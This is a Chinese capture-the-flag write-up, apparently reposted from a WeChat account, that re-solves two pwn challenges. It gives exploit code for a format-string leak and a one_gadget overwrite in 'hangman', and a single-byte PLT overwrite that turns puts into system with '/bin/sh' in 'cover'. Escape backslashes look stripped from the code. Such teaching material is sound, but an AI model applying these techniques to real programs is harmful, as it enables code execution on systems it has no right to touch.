pwn
hangman
保护全开的64位elf程序
满足if ( v8 == length_input )
的条件就可以触发格式化字符串漏洞
需要在每次Guess letter的时候输入一个字符使v8++等于input的长度
一共有四次出发格式化字符串的地方
先泄漏libc和栈地址,最后任意地址写libc_start_main为one_gadget即可
def count(fmt):
cnt = ""
fmt = fmt.strip("x00")
for i in range(len(fmt)):
if i ==0:
cnt += fmt[i]
elif fmt[i] not in cnt:
cnt += fmt[i]
elif fmt[i]=="x00":
continue
else:
continue
return cnt
ru("nnEnter a word:")
pay1 = "%29$lx"
sl(pay1)
for i in count(pay1):
ru("nnGuess a letter:")
sd(i)
ru("Guess a letter:")
libc.address = int(rud("n"),16)-240-libc.sym['__libc_start_main']
ru("OK, You get next round.")
sd("2")
pay1 = "%16$lx#"
sl(pay1)
for i in count(pay1):
ru("nnGuess a letter:")
sd(i)
stack = int(rud("#n")[-12:],16)-216
onegg=libc.address+0x45226
ls("libc addr",libc.address)
ls("stack addr",stack)
ls("onegg addr",onegg)
ru("OK, You get next round.")
sd("3")
target1 = onegg&0xff
target2 = (onegg>>8)&0xffff
pay1 = "%"+str(target1)+"c%15$hhn"
pay1 += "%"+str(target2-target1)+"c%16$hn"
pay1 = pay1.ljust(24,"#")
pay1 += p64(stack)
pay1 += p64(stack+1)
sl(pay1)
# gdb.attach(p,"b *$rebase(0x13C5)")
for i in count(pay1):
# if i == "x7f":
# break
ru("nnGuess a letter:")
sd(i)
if i == "x7f":
break
# print i
sd("4")
ru("Enter a word:")
sl("a")
ru("Guess a letter:")
sl("a")
# p.sendline("cat /flag")
ri()
cover
一开始给了code段7权限
之后 read(0, &buf, 5u);+*buf = v2;
达到任意地址写单子节的效果
plt表可写,单字节任意地址写 put@plt 为 system@plt
# gdb.attach(p,"b *0x08048782")
ru("Try use a bullet to pwn thisn")
sd(p32(elf.plt['puts']+2)+"x24")
ru("our name?x00")
sd("/bin/shx00")
本文始发于微信公众号(山警网络空间安全与电子数据取证):蓝帽杯PWN题目复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论